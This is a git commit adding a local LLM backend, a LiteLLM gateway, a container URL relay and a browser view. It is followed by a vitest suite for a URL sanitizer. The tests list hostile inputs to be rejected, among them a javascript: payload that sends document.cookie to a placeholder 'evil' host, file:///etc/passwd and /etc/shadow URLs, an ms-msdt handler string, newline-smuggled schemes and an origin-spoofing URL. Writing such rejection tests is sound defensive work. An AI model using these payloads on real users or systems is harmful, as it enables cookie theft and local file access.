Add llama.cpp backend, model gateway, URL relay and browser view

Four features, plus a latent bug fix. llama.cpp backend. Claude Code only ever speaks the Anthropic Messages API — confirmed empirically by pointing it at a logging server, which received POST /v1/messages?beta=true. llama-server implements that natively (verified in its README, alongside --port default 8080), so this is a plain base-URL backend with no translation shim, the same shape as Ollama. Its --api-key defaults to none, so the auth token is a placeholder Claude Code requires and llama-server ignores. Model alias fix. ANTHROPIC_DEFAULT_HAIKU_MODEL is documented as "also used for background functionality", and Triple-C set none of the alias vars. So on every custom-endpoint backend, Claude Code resolved `haiku` to an Anthropic model id and sent it to a local server that does not have it — background features failed silently. All four ANTHROPIC_DEFAULT_{OPUS,SONNET,HAIKU,FABLE}_MODEL vars are now pinned to the backend's configured model, with an optional Haiku override, and blanked for Anthropic and Bedrock so those keep Claude Code's defaults. The deprecated ANTHROPIC_SMALL_FAST_MODEL is never emitted. Existing Ollama and OpenAI-Compatible containers are recreated once so the new env reaches them; the snapshot is preserved. Model gateway. Optional LiteLLM sibling container, off by default, mirroring stt.rs — this is what makes real OpenAI usable, since api.openai.com has no /v1/messages. Pinned to v1.96.0 by tag and digest: the 1.82.7/1.82.8 malware was PyPI-only and never affected the official images, which is precisely why this builds FROM the image rather than pip-installing, but 1.84.0 is still the floor for proxy CVEs (API-key SQLi, Host-header auth bypass, MCP auth bypass). Binds 0.0.0.0 because project containers consume it, and therefore always sets a master_key — LiteLLM without one accepts any key. The provider key lives in the OS keychain and is uploaded into a volume, never an image layer or label. URL relay. A container-side xdg-open/BROWSER shim opens URLs in the host's browser. Uses an OSC sequence to /dev/tty rather than a printed sentinel, because the shim usually runs as a grandchild of a process capturing its children's output. Degrades to printing the URL when no terminal is attached, so scheduled tasks do not hang. Only http/https, with control characters rejected before new URL() — which strips newlines, so java\nscript: would otherwise parse as javascript:. Nothing auto-opens; the user confirms. The web terminal shows a tap-to-open banner instead, since that browser may be a phone across a tunnel. Browser view. A Project Home tab that watches and takes over the browser Claude drives with Playwright, using Playwright's own dashboard. Zero image cost — Playwright stays user-installed. It does not reuse the auth bridge's PortForward, which binds an unauthenticated port: correct for a throwaway OAuth listener, wrong for mouse and keyboard control of a browser in a passwordless-sudo container. Instead a token-gated loopback proxy checks Host, then token or a forbidden-header origin signal, before a byte reaches the container. Host ports are confined to 47820..=47827 so CSP frame-src can enumerate them rather than widening to a wildcard, with a test asserting the two agree. 188 frontend tests, 107 Rust tests, both builds clean. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-09 16:55:28 -07:00
parent 7d00390e1f
commit cc5f691677
46 changed files with 6194 additions and 61 deletions
@@ -0,0 +1,241 @@
+import { describe, it, expect } from "vitest";
+import {
+  MAX_RELAY_URL_LENGTH,
+  RelayRateLimiter,
+  URL_RELAY_OSC,
+  parseUrlRelayOsc,
+  sanitizeRelayUrl,
+} from "./urlRelay";
+
+/** Build the OSC 7777 payload the container shim emits for `url`. */
+function payloadFor(url: string): string {
+  const bytes = new TextEncoder().encode(url);
+  let binary = "";
+  for (const b of bytes) binary += String.fromCharCode(b);
+  return `open;${btoa(binary)}`;
+}
+
+describe("URL_RELAY_OSC", () => {
+  it("is the private identifier the container shim writes", () => {
+    expect(URL_RELAY_OSC).toBe(7777);
+  });
+});
+
+describe("sanitizeRelayUrl — accepts", () => {
+  it("plain https URLs", () => {
+    expect(sanitizeRelayUrl("https://github.com/login/device")).toBe(
+      "https://github.com/login/device",
+    );
+  });
+
+  it("plain http URLs", () => {
+    expect(sanitizeRelayUrl("http://example.com/")).toBe("http://example.com/");
+  });
+
+  it("long OAuth URLs with query strings", () => {
+    const url =
+      "https://d-1234567890.awsapps.com/start/#/device?user_code=ABCD-EFGH&state=" +
+      "x".repeat(200);
+    expect(sanitizeRelayUrl(url)).toBe(url);
+  });
+
+  it("loopback callback URLs (the CLI, not the host, chose the port)", () => {
+    expect(sanitizeRelayUrl("http://127.0.0.1:8123/callback?code=abc")).toBe(
+      "http://127.0.0.1:8123/callback?code=abc",
+    );
+  });
+
+  it("trims surrounding whitespace before validating", () => {
+    expect(sanitizeRelayUrl("  https://example.com/x  ")).toBe(
+      "https://example.com/x",
+    );
+  });
+
+  it("normalizes so the toast shows exactly what will be opened", () => {
+    expect(sanitizeRelayUrl("https://EXAMPLE.com")).toBe("https://example.com/");
+  });
+
+  it("keeps hyphens and other legal URL punctuation", () => {
+    const url = "https://my-host.example.com/a-b_c~d/e.f?g=h-i#j-k";
+    expect(sanitizeRelayUrl(url)).toBe(url);
+  });
+});
+
+describe("sanitizeRelayUrl — rejects non-http(s) schemes", () => {
+  // The whole point of the allowlist: the container must not be able to make
+  // the host open a scheme that reaches local files, script, or an OS handler.
+  it.each([
+    ["javascript:", "javascript:alert(1)"],
+    ["javascript: with payload", "javascript:fetch('http://evil/'+document.cookie)"],
+    ["file: absolute path", "file:///etc/passwd"],
+    ["file: host share", "file://host/share/secret"],
+    ["data:", "data:text/html,<script>alert(1)</script>"],
+    ["vbscript:", "vbscript:msgbox(1)"],
+    ["blob:", "blob:https://example.com/uuid"],
+    ["ftp:", "ftp://example.com/x"],
+    ["ssh:", "ssh://root@example.com"],
+    ["mailto:", "mailto:someone@example.com"],
+    ["ms-msdt: (protocol handler)", "ms-msdt:/id PCWDiagnostic"],
+    ["smb:", "smb://server/share"],
+    ["custom app handler", "slack://open?team=T123"],
+    ["chrome:", "chrome://settings"],
+    ["about:", "about:blank"],
+  ])("rejects %s", (_label, url) => {
+    expect(sanitizeRelayUrl(url)).toBeNull();
+  });
+
+  it("rejects case-variant javascript:", () => {
+    expect(sanitizeRelayUrl("JaVaScRiPt:alert(1)")).toBeNull();
+  });
+
+  it("rejects a scheme smuggled past a naive check with an embedded newline", () => {
+    // `new URL()` strips tabs and newlines, so "java\nscript:" would parse as
+    // a javascript: URL. The pre-parse control-character check stops it.
+    expect(sanitizeRelayUrl("java\nscript:alert(1)")).toBeNull();
+    expect(sanitizeRelayUrl("java\tscript:alert(1)")).toBeNull();
+    expect(sanitizeRelayUrl("\x00javascript:alert(1)")).toBeNull();
+  });
+});
+
+describe("sanitizeRelayUrl — rejects malformed and hostile input", () => {
+  it("rejects non-strings", () => {
+    expect(sanitizeRelayUrl(undefined)).toBeNull();
+    expect(sanitizeRelayUrl(null)).toBeNull();
+    expect(sanitizeRelayUrl(42)).toBeNull();
+    expect(sanitizeRelayUrl({ href: "https://example.com" })).toBeNull();
+  });
+
+  it("rejects the empty string", () => {
+    expect(sanitizeRelayUrl("")).toBeNull();
+    expect(sanitizeRelayUrl("   ")).toBeNull();
+  });
+
+  it("rejects scheme-less input", () => {
+    expect(sanitizeRelayUrl("example.com")).toBeNull();
+    expect(sanitizeRelayUrl("//example.com")).toBeNull();
+    expect(sanitizeRelayUrl("/etc/passwd")).toBeNull();
+  });
+
+  it("rejects http(s) URLs with no host", () => {
+    expect(sanitizeRelayUrl("http://")).toBeNull();
+  });
+
+  it("does not let an extra slash turn an https URL into a local path", () => {
+    // WHATWG parsing treats the third slash as part of the authority, so this
+    // stays a network URL to the (unresolvable) host "etc" — it never becomes
+    // a read of /etc/passwd.
+    expect(sanitizeRelayUrl("https:///etc/passwd")).toBe("https://etc/passwd");
+  });
+
+  it("rejects embedded credentials (origin spoofing)", () => {
+    expect(
+      sanitizeRelayUrl("https://github.com@evil.example.com/login"),
+    ).toBeNull();
+    expect(sanitizeRelayUrl("https://user:pass@example.com/")).toBeNull();
+  });
+
+  it("rejects control characters and whitespace inside the URL", () => {
+    expect(sanitizeRelayUrl("https://example.com/\x1b]0;pwned\x07")).toBeNull();
+    expect(sanitizeRelayUrl("https://example.com/a b")).toBeNull();
+    expect(sanitizeRelayUrl("https://example.com/a\r\nb")).toBeNull();
+  });
+
+  it("tolerates a trailing newline from the shim's printf", () => {
+    expect(sanitizeRelayUrl("https://example.com/x\n")).toBe(
+      "https://example.com/x",
+    );
+  });
+
+  it("rejects oversized URLs", () => {
+    const huge = "https://example.com/" + "a".repeat(MAX_RELAY_URL_LENGTH);
+    expect(huge.length).toBeGreaterThan(MAX_RELAY_URL_LENGTH);
+    expect(sanitizeRelayUrl(huge)).toBeNull();
+  });
+});
+
+describe("parseUrlRelayOsc", () => {
+  it("decodes the sequence the container shim emits", () => {
+    const url = "https://github.com/login/device";
+    expect(parseUrlRelayOsc(payloadFor(url))).toBe(url);
+  });
+
+  it("round-trips non-ASCII URLs through UTF-8", () => {
+    const url = "https://example.com/café";
+    // WHATWG normalization percent-encodes the path.
+    expect(parseUrlRelayOsc(payloadFor(url))).toBe(
+      "https://example.com/caf%C3%A9",
+    );
+  });
+
+  it("applies the scheme allowlist to the decoded payload", () => {
+    expect(parseUrlRelayOsc(payloadFor("javascript:alert(1)"))).toBeNull();
+    expect(parseUrlRelayOsc(payloadFor("file:///etc/shadow"))).toBeNull();
+  });
+
+  it("rejects an unknown verb", () => {
+    const body = payloadFor("https://example.com/").split(";")[1];
+    expect(parseUrlRelayOsc(`exec;${body}`)).toBeNull();
+    expect(parseUrlRelayOsc(`;${body}`)).toBeNull();
+  });
+
+  it("rejects payloads with no separator", () => {
+    expect(parseUrlRelayOsc("open")).toBeNull();
+    expect(parseUrlRelayOsc("")).toBeNull();
+  });
+
+  it("rejects an empty body", () => {
+    expect(parseUrlRelayOsc("open;")).toBeNull();
+  });
+
+  it("rejects non-base64 bodies without throwing", () => {
+    expect(parseUrlRelayOsc("open;!!!not base64!!!")).toBeNull();
+    expect(parseUrlRelayOsc("open;https://example.com")).toBeNull();
+  });
+
+  it("rejects a body that decodes to invalid UTF-8", () => {
+    expect(parseUrlRelayOsc(`open;${btoa("\xff\xfe")}`)).toBeNull();
+  });
+
+  it("rejects an absurdly large body before decoding", () => {
+    expect(parseUrlRelayOsc(`open;${"A".repeat(MAX_RELAY_URL_LENGTH * 2 + 4)}`))
+      .toBeNull();
+  });
+});
+
+describe("RelayRateLimiter", () => {
+  it("allows the first request", () => {
+    const rl = new RelayRateLimiter();
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+  });
+
+  it("suppresses a repeat of the same URL inside the dedupe window", () => {
+    const rl = new RelayRateLimiter(5, 10_000, 5_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    expect(rl.allow("https://a.example/", 1_000)).toBe(false);
+    expect(rl.allow("https://a.example/", 4_999)).toBe(false);
+  });
+
+  it("allows the same URL again after the dedupe window", () => {
+    const rl = new RelayRateLimiter(5, 10_000, 5_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    // Repeats keep pushing the dedupe deadline out; measure from the last one.
+    expect(rl.allow("https://a.example/", 6_000)).toBe(true);
+  });
+
+  it("caps the number of distinct prompts in the sliding window", () => {
+    const rl = new RelayRateLimiter(3, 10_000, 1_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    expect(rl.allow("https://b.example/", 1_500)).toBe(true);
+    expect(rl.allow("https://c.example/", 3_000)).toBe(true);
+    expect(rl.allow("https://d.example/", 4_500)).toBe(false);
+    expect(rl.allow("https://e.example/", 6_000)).toBe(false);
+  });
+
+  it("recovers once the window slides past the old requests", () => {
+    const rl = new RelayRateLimiter(2, 10_000, 1_000);
+    expect(rl.allow("https://a.example/", 0)).toBe(true);
+    expect(rl.allow("https://b.example/", 100)).toBe(true);
+    expect(rl.allow("https://c.example/", 200)).toBe(false);
+    expect(rl.allow("https://c.example/", 10_200)).toBe(true);
+  });
+});